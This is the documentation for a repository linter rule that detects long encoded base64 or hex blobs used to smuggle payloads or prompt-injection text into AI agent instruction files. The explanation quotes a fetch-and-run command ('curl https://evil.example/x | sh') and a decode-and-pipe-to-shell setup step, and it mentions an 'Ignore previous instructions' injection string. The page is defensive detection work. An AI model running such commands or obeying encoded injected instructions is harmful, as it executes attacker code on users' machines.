security-encoded-payload¶
Detect long high-entropy base64/hex blobs that can smuggle encoded payloads
| Severity | warning (auto) |
| Autofix | - |
| Since | v0.17.0 |
| Category | Hidden-Content Validation |
Why¶
An attacker who wants to smuggle a payload into an agent repository cannot
write curl https://evil.example/x | sh in plain text — keyword scanners
and human reviewers catch that. The established workaround is to encode the
payload: ship a long base64 or hex blob in an instruction file alongside a
harmless-looking "decode and run this" step. The 2025 Shai-Hulud npm worm
used exactly this technique, hiding its bootstrap script as an encoded
string that a lifecycle hook decoded and executed. Prompt-injection attacks
use the same trick against agents directly: encoded instructions slip past
review because nobody reads 200 characters of base64.
The hooks-dangerous rule catches the decode step (base64 -d, eval) in
hook commands. This rule catches the payload itself — a long, high-entropy
base64, base64url, or hex run anywhere in agent-visible content, including
code fences and frontmatter values, where such blobs have no legitimate
reason to exist. Base64url (the -/_ alphabet JWTs and web tokens use)
is scanned as its own alphabet, so url-safe encoding is not an evasion.
Each alphabet is scanned separately rather than as one union — no decoder
accepts a run mixing / with -/_, and the union would flag long URL
paths (…/test-platform-results/pr-logs/pull/30393/…) that legitimately
mix both.
Entropy gating keeps the rule quiet on non-payloads: random encoded data
measures ~5.7-6.0 bits/char (base64) or ~3.8-4.0 (hex), while repeated
filler like AAAA… measures near zero and ordinary prose or URLs stay far
below the thresholds. Runs containing no digit at all are also skipped —
real encoded data of qualifying length essentially always contains digits,
while long digit-free runs are concatenated natural text (a camelCase
identifier, a deep /src/main/java/... path). Two known-legitimate blob
shapes are exempt: data-URI images (data:image/png;base64,… badges and
logos) and integrity pins (integrity="sha384-…" SRI attributes,
image@sha256:… digests). The exemption is anchored to the whole encoded
token, not the sub-run a pattern happens to match, so an interior
/-bounded fragment of a real image blob is still recognized as part of
the exempt data URI.
Entropy alone cannot catch hex-encoded text: hex of printable ASCII
constrains high nibbles to 2-7 and measures only ~3.2-3.6 bits/char, at
or below the hex gate calibrated for random hex — so a hex-encoded
curl … | sh bootstrap or an injected Ignore previous instructions…
string would slip past on entropy. A hex run below the gate is therefore
decoded: if it resolves to ≥90% printable-ASCII bytes it is flagged as an
encoded text payload regardless of entropy. Random hex (commit SHAs,
sha256/sha512 digests, packed binary) decodes to mostly non-printable bytes
and is never rescued this way.
Blobs wrapped across multiple lines (PEM-style 64-char lines) are not detected in v1 — the run must sit on a single line.
Examples¶
Bad:
## Setup
Before running tests, initialize the environment:
echo "cGF5bG9hZC1oZXJlLi4u<170 more chars of base64>" | base64 -d | sh
Good:
A reviewed script in the repository does the same job with nothing hidden.
Not flagged (legitimate blobs):

<script src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"></script>
Configuration example¶
rules:
security-encoded-payload:
min-length: 120 # minimum run length considered (floor: 16)
entropy-threshold: 4.5 # bits/char gate for base64 runs
hex-entropy-threshold: 3.4 # bits/char gate for hex runs
hex-ascii-ratio: 0.9 # min printable-ASCII fraction a sub-gate hex
# run must decode to before it is flagged;
# set above 1.0 to disable the decode check
Raise min-length if your content legitimately embeds long encoded values
(for example, protocol documentation with real sample tokens); lower it to
tighten the audit on repositories that should contain no encoded data at
all.
How to fix¶
Decode the blob (in a sandbox — never by executing it) and identify what it contains:
- Malicious or unexplained: remove it and audit the repository history for how it got there.
- A script or config the instructions need: commit the decoded file to the repository as reviewable plain text and reference it by path.
- A legitimate encoded value (test vector, sample ciphertext): move it
out of agent context into a data file, or raise
min-lengthabove its length after review.
Configuration¶
| Parameter | Description | Default |
|---|---|---|
min-length |
Minimum length of a base64/hex character run before it is considered a payload candidate (floor: 16) | 120 |
entropy-threshold |
Minimum Shannon entropy (bits/char) a base64 run must reach to be reported; random base64 measures ~5.7-6.0 | 4.5 |
hex-entropy-threshold |
Minimum Shannon entropy (bits/char) a hex run must reach to be reported; the 16-symbol alphabet caps at 4.0 | 3.4 |
hex-ascii-ratio |
Minimum fraction of printable-ASCII bytes a hex run below the entropy gate must decode to before it is reported as an encoded text payload; set above 1.0 to disable the decode check | 0.9 |
Run skillsaw explain security-encoded-payload to see this documentation and the rule's effective configuration in your terminal.